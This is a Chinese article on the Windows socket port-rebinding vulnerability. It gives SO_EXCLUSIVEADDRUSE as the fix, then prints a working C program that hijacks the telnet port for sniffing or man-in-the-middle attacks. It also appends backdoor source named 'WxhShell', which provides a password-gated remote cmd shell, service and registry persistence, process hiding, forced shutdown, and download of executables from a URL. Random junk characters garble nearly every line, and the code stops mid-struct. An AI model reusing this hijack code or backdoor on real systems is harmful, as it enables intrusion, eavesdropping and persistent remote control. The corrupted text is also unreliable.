在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/SD2e@x{U s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Ad7=JzV 5G=CvGu saddr.sin_family = AF_INET;
QSy #k~ 0) lG~_q saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=l3*{ ?G 3' 6>zp bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#/1,Cv yj pr-!otz 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|5,q54d(K ,G,T&W 这意味着什么?意味着可以进行如下的攻击:
e~weYGK HgX4RSU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yHoj:f$$x Hw/1~O$T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
oZ~M`yOz. ^\\cGJ&8c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T3{qn$t8 [XQoag;! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#PmF@
CHR .,x08M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z|yC [Ota AuU:613]W8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
!NYc!gYD *$_<|
g)9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
VG\ER}s&P 6i\b& #include
Da8qR+*x
#include
GL1!Z3 #include
66%kq[ #include
\d%SC <s DWORD WINAPI ClientThread(LPVOID lpParam);
aX1|&erI int main()
#tBbvs+% {
F+AShh WORD wVersionRequested;
y#Ch /Jg?| DWORD ret;
(N43?iv( WSADATA wsaData;
H1=R(+-s BOOL val;
uBs[[9je( SOCKADDR_IN saddr;
kF.PLn'iS SOCKADDR_IN scaddr;
? P`]^# int err;
+;z4.C{gM SOCKET s;
4aZsz,= SOCKET sc;
e}}xZ%$4| int caddsize;
-]PW\}w1 HANDLE mt;
+3t(kQ DWORD tid;
Md_\9G .e wVersionRequested = MAKEWORD( 2, 2 );
zYj8\iER err = WSAStartup( wVersionRequested, &wsaData );
Q_1EAxt if ( err != 0 ) {
Vo(d)"m? printf("error!WSAStartup failed!\n");
4F8`5)RM return -1;
.)u,sYZA| }
\aT._'=M+ saddr.sin_family = AF_INET;
<H E'5b Jo
h&Ay //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
K#";! 4k$BqM1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JUU0Tx:`9) saddr.sin_port = htons(23);
)CXJRo`j0 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$K8ZxH1z@ {
OH*[ printf("error!socket failed!\n");
m.EWYO0XQ return -1;
^#%$?w>wI }
+V7*vlx- val = TRUE;
T0RgCU
IV //SO_REUSEADDR选项就是可以实现端口重绑定的
+|(
eP_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
'(u [ {
*Xl&N- 04 printf("error!setsockopt failed!\n");
I[<C)IG return -1;
35jP</ }
sOLo[5y' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
F/RV{} 17E //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
_.FxqH> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C2eei're j|HOry1E & if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
'n.eCdj {
8 s:sMU:Q ret=GetLastError();
Gz~P
0Z^w} printf("error!bind failed!\n");
+\.gd L) return -1;
rMf& HX }
4U> listen(s,2);
`t ZvIy* while(1)
NY1olnI {
bUz7!M$ caddsize = sizeof(scaddr);
|n~,$ //接受连接请求
O2Rv^la sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p#J}@a if(sc!=INVALID_SOCKET)
O,xU+j~) {
Q} f=Ye(&} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kfA%%A if(mt==NULL)
N9:xtrJ]_J {
jt-ayLq printf("Thread Creat Failed!\n");
)BS./zD*[< break;
-jFt4Q7}8 }
~c3!,C }
m]Z&
.,bA CloseHandle(mt);
P*R`3Y, }
$N5}N\C:a closesocket(s);
V!3O
1 WSACleanup();
01#a return 0;
=?T'@C }
@;d(>_n DWORD WINAPI ClientThread(LPVOID lpParam)
aLuxCobV {
aeE9dV~ SOCKET ss = (SOCKET)lpParam;
T3)/?f?| SOCKET sc;
sRb)*p' unsigned char buf[4096];
g;eMsoJG SOCKADDR_IN saddr;
IM)\-O\Wd long num;
0 Co_," DWORD val;
RNp3lXf O DWORD ret;
AVi
w}Y
J //如果是隐藏端口应用的话,可以在此处加一些判断
Q6kkMLh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
. v0 .wG saddr.sin_family = AF_INET;
#ra:^9;Es: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
AXz'=T}{ saddr.sin_port = htons(23);
)5)S8~Oc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
B]InOlc47 {
&FIPEe#n printf("error!socket failed!\n");
^0A'XCULG return -1;
mTYEK4} }
r/+<_3 val = 100;
(?I8/KYR if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#U(dleT8 {
6
}qNH29 ret = GetLastError();
)DfmO return -1;
N
0&h5 }
Yep(,J~' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lySeq^y?Q {
P0DvZV8 ret = GetLastError();
XNf%vC> return -1;
k P>G4$e_v }
X@5!I+u\L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
XQ%*U=)s {
Pc`d@q printf("error!socket connect failed!\n");
C8DZ:3E$c closesocket(sc);
w,;CrW T2t closesocket(ss);
b qEwi[` return -1;
rH$0h2 }
e
,k,L while(1)
ZVR0Kzu?Ra {
W$v5o9\Px //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
?msx //如果是嗅探内容的话,可以再此处进行内容分析和记录
6*/0 yGij //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`\(Fax num = recv(ss,buf,4096,0);
j#9p0[ if(num>0)
ShxB!/s send(sc,buf,num,0);
t+W+f else if(num==0)
&M*&oi ( break;
[l:3F<M num = recv(sc,buf,4096,0);
|\*7J!Liv if(num>0)
RN]4 Is: send(ss,buf,num,0);
tb/bEy^
else if(num==0)
Se%FqI break;
j^"Z^TEBT }
mBhG"0: closesocket(ss);
="P3TP closesocket(sc);
e 9U\48 return 0 ;
T8JM4F }
pe Y( 4# `QC{}Oo^ n1a;vE{! ==========================================================
~*ZB2 kb Fr 下边附上一个代码,,WXhSHELL
$oHlfV/!
^GB9!d. ==========================================================
h3h2 KqM' Ma0_!|i #include "stdafx.h"
'bN\bbR l=`)yc. #include <stdio.h>
;l[/<J #include <string.h>
K@Twiw~rB #include <windows.h>
`f}}z5 #include <winsock2.h>
cH.T6u_% #include <winsvc.h>
|g}!
F- #include <urlmon.h>
r3mB"("Z' tV9BVsN #pragma comment (lib, "Ws2_32.lib")
$Ud-aRlD #pragma comment (lib, "urlmon.lib")
@ZK#Y){ $M@SZknm #define MAX_USER 100 // 最大客户端连接数
p)(mF"\8= #define BUF_SOCK 200 // sock buffer
.[? E1we #define KEY_BUFF 255 // 输入 buffer
FZ6.<wN :=UiEDN@ #define REBOOT 0 // 重启
Psp3~Kg #define SHUTDOWN 1 // 关机
)**k3u
t4 aBj~370g #define DEF_PORT 5000 // 监听端口
JR<#el
;<1O86! #define REG_LEN 16 // 注册表键长度
R|Z $aHQ #define SVC_LEN 80 // NT服务名长度
E<1^i;F !:,d^L!bh // 从dll定义API
kZs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?>N82#9Q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?"$W=*P\o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4d)w2t?H% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;``*]tY$ y/K% F,WMf // wxhshell配置信息
\7nlwFAO struct WSCFG {
xAMj 16ZF int ws_port; // 监听端口
Oj:O-PtN2 char ws_passstr[REG_LEN]; // 口令
`zAV# int ws_autoins; // 安装标记, 1=yes 0=no
l!ltgj char ws_regname[REG_LEN]; // 注册表键名
Hv>A$x$q char ws_svcname[REG_LEN]; // 服务名
6]Q
~c"+5 char ws_svcdisp[SVC_LEN]; // 服务显示名
Ash"D~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
h6}oRz9=g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B!K{y>|. int ws_downexe; // 下载执行标记, 1=yes 0=no
N#Bg`:! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
)#l &F$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
R|%
3JE0 B08q/qi };
f&bY=$iff [Qa0uM#SU // default Wxhshell configuration
s[)2z3 struct WSCFG wscfg={DEF_PORT,
(pm]U7 "xuhuanlingzhe",
e,>L&9] ZI 1,
#\"8sY,j "Wxhshell",
Y.sf^} "Wxhshell",
Unc;@=c "WxhShell Service",
L`cc2.F "Wrsky Windows CmdShell Service",
7=N=J<]pl "Please Input Your Password: ",
^QTl (L 1,
ICo_O]
Ke "
http://www.wrsky.com/wxhshell.exe",
={ c=8G8T "Wxhshell.exe"
XL_X0(AKf };
"5BgajrB WM}:%T- // 消息定义模块
)zlksF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-iGt]mbJkP char *msg_ws_prompt="\n\r? for help\n\r#>";
M6vW}APH[n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j )Zi4<./ char *msg_ws_ext="\n\rExit.";
i >Hh_q;' char *msg_ws_end="\n\rQuit.";
O?p.kf{b char *msg_ws_boot="\n\rReboot...";
Mc oHV]x char *msg_ws_poff="\n\rShutdown...";
p+@Wh3 char *msg_ws_down="\n\rSave to ";
)p4o4aM a"&@G=M@d char *msg_ws_err="\n\rErr!";
"tBdz V char *msg_ws_ok="\n\rOK!";
8)&yjY W}EI gVHs char ExeFile[MAX_PATH];
r.**
z j int nUser = 0;
UTc$zc7 HANDLE handles[MAX_USER];
ca*USM int OsIsNt;
ndT:,"s 6*cm SERVICE_STATUS serviceStatus;
/xJ,nwp7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
1eZ">,F6< ?^mgK9^v@ // 函数声明
B++.tQ=X. int Install(void);
V7%G? int Uninstall(void);
C(b"0> int DownloadFile(char *sURL, SOCKET wsh);
g2^7PtJg int Boot(int flag);
8N4W}YBs void HideProc(void);
1*S It5?4 int GetOsVer(void);
LTG#nM0 int Wxhshell(SOCKET wsl);
St-:+=V_ void TalkWithClient(void *cs);
5(q\x(N int CmdShell(SOCKET sock);
ePa:_?( int StartFromService(void);
CTp~bGIv!= int StartWxhshell(LPSTR lpCmdLine);
N{46DS ag]b]K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e]!Vxn3 VOID WINAPI NTServiceHandler( DWORD fdwControl );
%h=)>5-T kXzm // 数据结构和表定义
g2L SERVICE_TABLE_ENTRY DispatchTable[] =
AT}}RE@vq {
5Qd |R {wscfg.ws_svcname, NTServiceMain},
5)'
_3r {NULL, NULL}
yBE1mA:x7: };
f)H6 nl7r ~mOGNf?f // 自我安装
8 Mp2MZ*p int Install(void)
gZuk( {
N(vzxx^ char svExeFile[MAX_PATH];
%/>\`d? HKEY key;
+"Ih'bb`j strcpy(svExeFile,ExeFile);
bITOA #HWz.Wb // 如果是win9x系统,修改注册表设为自启动
R[LVx-e7' if(!OsIsNt) {
w(8q qU+\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1>jG*tr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~fI&F| RegCloseKey(key);
s0H_Y' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m(q6Xe:Vc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
it=L_zu} RegCloseKey(key);
h?j;*|o- return 0;
A^q= :ofQ }
.{`+bT^b<2 }
qGuz`&i }
,pa,:k? else {
0&=2+=[c 0*L|rJf // 如果是NT以上系统,安装为系统服务
`!S5FE"- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/D`M?nD7 if (schSCManager!=0)
sSd {
j|FGb: SC_HANDLE schService = CreateService
+P/"bwv0 (
Wa
#,> schSCManager,
Hj
|~*kG wscfg.ws_svcname,
V]L$`7G wscfg.ws_svcdisp,
2FD[D`n]f SERVICE_ALL_ACCESS,
KSIH1E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s=(~/p#M SERVICE_AUTO_START,
I{<6GIU+ SERVICE_ERROR_NORMAL,
kQC>8" svExeFile,
B}X
C NULL,
N?Mmv| NULL,
kuu9'Sqc'b NULL,
7loCb4Hv NULL,
BnvUPDT& NULL
VD/Wl2DK );
96]lI3c if (schService!=0)
}r]WB)_w {
r/HKxXT CloseServiceHandle(schService);
s#`%c({U| CloseServiceHandle(schSCManager);
SW(7!` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{.bLh0 strcat(svExeFile,wscfg.ws_svcname);
5
usfyY]z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
daaUC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
FI.S?gy0 RegCloseKey(key);
?)<zrE5p return 0;
S+ymdZ)xZ` }
4D"IAI }
|}^[f] CloseServiceHandle(schSCManager);
6R%c+ok8i }
YH)Unql }
|.=Ee+HZ ($E(^p% O return 1;
FRF3V> }
WEqHL,Uh] Z%Y=Lx // 自我卸载
L'6_~I int Uninstall(void)
TUJ]u2J8? {
[
w HKEY key;
MFX&+c (sS[F-2R7 if(!OsIsNt) {
C@pDX>~2=b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-4,qAnuMx RegDeleteValue(key,wscfg.ws_regname);
nuw90=qj!] RegCloseKey(key);
q\O'r[&V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E?y0UD[8J RegDeleteValue(key,wscfg.ws_regname);
NhCO C RegCloseKey(key);
fdho`juFa return 0;
^%M!!wlUH }
C+P}R]cT" }
VPys }
ZgtW else {
4@5rR~DQq $Pzvv`f* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
)jR:\fe if (schSCManager!=0)
vMzR3@4e {
L45&O
*% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9V zk:zOT if (schService!=0)
s.1(- "DU {
TmKO/N@} if(DeleteService(schService)!=0) {
BS*cG>T CloseServiceHandle(schService);
#Vv*2Mc CloseServiceHandle(schSCManager);
6]T02;b>/, return 0;
rNU,(htS }
20^F -,z CloseServiceHandle(schService);
8czo#& }
o|]xj' CloseServiceHandle(schSCManager);
j2qDRI }
9`dQ7z.8t }
\VHi .{7?Y;_( return 1;
oVoTnGNM6 }
TT.EQv5 zY[6Ia{L // 从指定url下载文件
R{!s%K& int DownloadFile(char *sURL, SOCKET wsh)
Xe=@I* {
7Yk6C5C HRESULT hr;
UbC)XiO char seps[]= "/";
85"DS-+e char *token;
dAEz
hR[= char *file;
/,Ln)?eD char myURL[MAX_PATH];
]_d(YHYf char myFILE[MAX_PATH];
5tP0dQYd x 9Gm)~ strcpy(myURL,sURL);
Ip8 Ap$ token=strtok(myURL,seps);
v&H&+:< while(token!=NULL)
fQ#mx.|8y {
&^9f)xb file=token;
cJ!wZT`
token=strtok(NULL,seps);
70HEu@- }
d#ld*\| 8k_,Hni GetCurrentDirectory(MAX_PATH,myFILE);
SwC,=S strcat(myFILE, "\\");
*sAoYx strcat(myFILE, file);
xhUQ.(S`r6 send(wsh,myFILE,strlen(myFILE),0);
jJ55Az?t: send(wsh,"...",3,0);
v
bb mmv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
4$IPz7 if(hr==S_OK)
,"h$!k"$g return 0;
`*}#Bks! else
)KXLL;] return 1;
+]uy !G\1$"T$ }
8"oS1W {:6VJ0s\ // 系统电源模块
Vy}:Q[ int Boot(int flag)
w/YKWv{_S {
4yRT!k}o HANDLE hToken;
5U1@wfKE3> TOKEN_PRIVILEGES tkp;
bXJ,L$q C!qW:H if(OsIsNt) {
xBB:b\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
WpTC,~- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%*|XN*i XC tkp.PrivilegeCount = 1;
yc%AkhX* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
gP/]05$e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
IFG`
if(flag==REBOOT) {
3XL0Pm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
eWwSD#N# return 0;
@q^WD_k }
#\`6ZHW else {
d:A+s>`$M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_$cQAH0 E return 0;
1-w1k^e }
Ij=hmTl{P }
Cc!n`%qc else {
+BzKO > if(flag==REBOOT) {
IH>+P]+3"3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!vImmhI!I return 0;
D#(A?oN }
X+&@$v1 else {
diTzolY7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
w?Q@"^IL return 0;
IDLA-Vxo }
s)]|zu0"Ku }
5n(p1OM2q _BR>- :Jr return 1;
L0+@{GP? }
xg3G $#t&W& // win9x进程隐藏模块
z2"2Xqy<U void HideProc(void)
R?l>Vr {
$Q47>/CUc^ /8Vh G|Wb HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!*CL>}-, if ( hKernel != NULL )
0CTI=<; {
DCwldkdJN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
VaX>tUW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c?IIaj! FreeLibrary(hKernel);
}O
o }
zlSwKd( M.|hnGXN return;
o^7NZ]m }
Ui?t@. {`J7>K // 获取操作系统版本
\;P Bx & int GetOsVer(void)
o<C~67o_ {
]t#,{%h OSVERSIONINFO winfo;
](T*f'LN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2H]&3kM3X GetVersionEx(&winfo);
B623B HwS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&<!I]:Y return 1;
v{%2`_c else
kP[ Y return 0;
4AP<mo }
:=~([oSNW" r-'j#|^tz // 客户端句柄模块
R \`,Q'3 int Wxhshell(SOCKET wsl)
\UNw43EL {
n'M}6XUw SOCKET wsh;
:+[q` struct sockaddr_in client;
!sR`]0 DWORD myID;
E; RI.6y +j`*?pPD(. while(nUser<MAX_USER)
A>d*<#x {
NINyg"g< int nSize=sizeof(client);
I}?fy\1A& wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
p&ZD1qa if(wsh==INVALID_SOCKET) return 1;
:T'"%_d5
Rl6E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
T}4RlIZF if(handles[nUser]==0)
yq;gBIiZ closesocket(wsh);
lIOLR-:4j else
h?$4\^/ nUser++;
uV%7|/fD }
m _:ib} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D $ `yxc M4')gG; return 0;
!JrVh$K }
/u#uC(Uwl
}dB01Jl
' // 关闭 socket
s6KZV@1 void CloseIt(SOCKET wsh)
iCw~4KG {
#kV=;(lq closesocket(wsh);
%Xp}d5- nUser--;
F!SmCE(0x ExitThread(0);
{)k}dr }
[m('Y0fwO^ BQw#PXp3 // 客户端请求句柄
9nd'"$ void TalkWithClient(void *cs)
z?E:s.4F {
ux-Fvwoh Kb4u)~S: SOCKET wsh=(SOCKET)cs;
NCl={O9<j char pwd[SVC_LEN];
.O lq_wuH char cmd[KEY_BUFF];
c()F%e:n char chr[1];
r0S"}<8O int i,j;
\mv7"TM GS)l{bS#[O while (nUser < MAX_USER) {
iyj&O" <L5[#V_ if(wscfg.ws_passstr) {
Fdvex$r& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n]_8!NU //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<K 4zH<y //ZeroMemory(pwd,KEY_BUFF);
w"A'uFXLc i=0;
5N '
QG<jE while(i<SVC_LEN) {
<$7*yV SDJAk&Z}R // 设置超时
>Wy@J]Y# fd_set FdRead;
IURi90Ir struct timeval TimeOut;
=DF7l<&km FD_ZERO(&FdRead);
[n66ZY#U] FD_SET(wsh,&FdRead);
+KD~/}C%- TimeOut.tv_sec=8;
4d6F4G4U TimeOut.tv_usec=0;
vp-)$f& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Pk*EnA) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5z#>>|1># -*tP_=- Dg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
J^1w& 40 pwd
=chr[0]; 9Y*6AaKE6
if(chr[0]==0xd || chr[0]==0xa) { pspV~9,
pwd=0; &a-:ZA@
break; 6)DYQ^4y
} c< \:lhl
i++; I_eYTy-a`1
} b/ur!2yr
Ku&0bXP
// 如果是非法用户,关闭 socket OGh bH a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v>0xHQD*<M
} TX8,+s+
@\[&_DZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gxL5%:@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HiVF<tN
K3 "co1]u
while(1) { n_?<q{GW
Po=)jkW
ZeroMemory(cmd,KEY_BUFF); 0y|}}92:
Vk>aU3\c
// 自动支持客户端 telnet标准 875V{fvPBU
j=0; qTiX;e\W
while(j<KEY_BUFF) { }U+gJkY2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j1<@*W&b
cmd[j]=chr[0]; ;xwa,1]
if(chr[0]==0xa || chr[0]==0xd) { <W\~A$
cmd[j]=0; 5/Swn9vwl
break; zD2Bhta y
} ~vaV=})
j++; Fc42TH
p
} 8M:;9a8fh
!]5F2~"v
// 下载文件
voV=}.(p
if(strstr(cmd,"http://")) { ;>|:I(l;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); y]M/oH
if(DownloadFile(cmd,wsh)) E
jBEZL|_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mKWA-h+f
else g8}/Ln*W'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vZ$uD,@;.
} _0^<)OSY
else { 8|V6Rg A%
[#uX{!q'
switch(cmd[0]) { D='/-3f!F]
--.: eFE/
// 帮助 MT;<\T
case '?': { Q_LPLmM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r~TiJ?8I
break; hGD7/qTN
} ':F{st>&H
// 安装 *1}9`$
case 'i': { %E~4 Ur
if(Install()) 3(6i6 vV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N$?mula
else 7P:0XML}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yq<D(F#qx
break; :]e:-JbT4z
} OFCkQEG=y>
// 卸载 A^%z;( 0p
case 'r': { r'pFHX
if(Uninstall()) =4+UX*&i?.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z4bN|\I
else f{WJM>$:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <}N0y*m
break; `;5UlkVZ5
} az0( 54M
// 显示 wxhshell 所在路径 !tHqF
case 'p': { 18V*Cu
char svExeFile[MAX_PATH]; esbxx##\
strcpy(svExeFile,"\n\r"); +JBhw4et;.
strcat(svExeFile,ExeFile); K'N\"Y?>
send(wsh,svExeFile,strlen(svExeFile),0); a5z.c_7r
break; 8r)eiERv
} g|e^}voRM
// 重启 `=b*g24z[N
case 'b': { NZ9`8&93
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J'^BxN&
if(Boot(REBOOT)) SM![ yC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F)5QpDmqb
else { 1H-R-NNJ:
closesocket(wsh); RYS]b[-xZz
ExitThread(0); JB''Ujyi
} -:cS}I
break; fC]+C(*d
} @MAk/mb&
// 关机 (Qq! u
case 'd': { oQWS$\Rr.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
`k_5Pz\
if(Boot(SHUTDOWN)) DV*8Mkzg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RAXqRP,iw
else {
6bo,x
closesocket(wsh); : gv[X
ExitThread(0); aW4 tJN%!
} o(C({]UO/
break; -(Taj[;[
} i
LK8Wnrq
// 获取shell l
yO_rZT
case 's': { B2WPjhzD
CmdShell(wsh); zZki9P
closesocket(wsh); hH )jX`Ta
ExitThread(0); Q gDjc'
break; PFUb\AY
} .Eh~$wm
// 退出 1Qhx$If~
case 'x': { ;oWh Tj`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o9q%=/@,
CloseIt(wsh); ~e,
break; (3{'GX2c
} =u${2=
// 离开 #e+%;5\
case 'q': { &Mo=V4i>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nd^9.6,JU
closesocket(wsh); E'JVf%)
WSACleanup(); zrRt0}?xl
exit(1); I)_072^O
break; ZRD* ^9)
} CHN!o9f
} 9SC#N5V
} ^X[Kr=:Jp
3=T<c?[
// 提示信息 =lr*zeHLC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hLYSYMUb
} Uu>YE0/)
} A}OV>y M
NTs< ;ED
return; Ud`V"X
} p^5B_r:
xm/v:hl=
// shell模块句柄 }@SZ!-t%rD
int CmdShell(SOCKET sock) ~k|~Q\
{ sZ]O&Za~
STARTUPINFO si; mZ ONxR6q$
ZeroMemory(&si,sizeof(si)); 3(E"$Se,f
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XOJ/$y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Crm](Z?
PROCESS_INFORMATION ProcessInfo; |K aXek
char cmdline[]="cmd";
2Z7smDJ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JNuo+Pq
return 0; f ,K1 a9.
} xf % ,UQ
)1~4Tl,S
// 自身启动模式 "EWU:9\0
int StartFromService(void) vb{&T<
{ E
I)Pfx"0
typedef struct <*2.B~
{ q,QMvUK:
DWORD ExitStatus; >(`|oD`,Y
DWORD PebBaseAddress; qaG%PH}a
DWORD AffinityMask; 0*B_$E06
DWORD BasePriority; W\N-~9UA
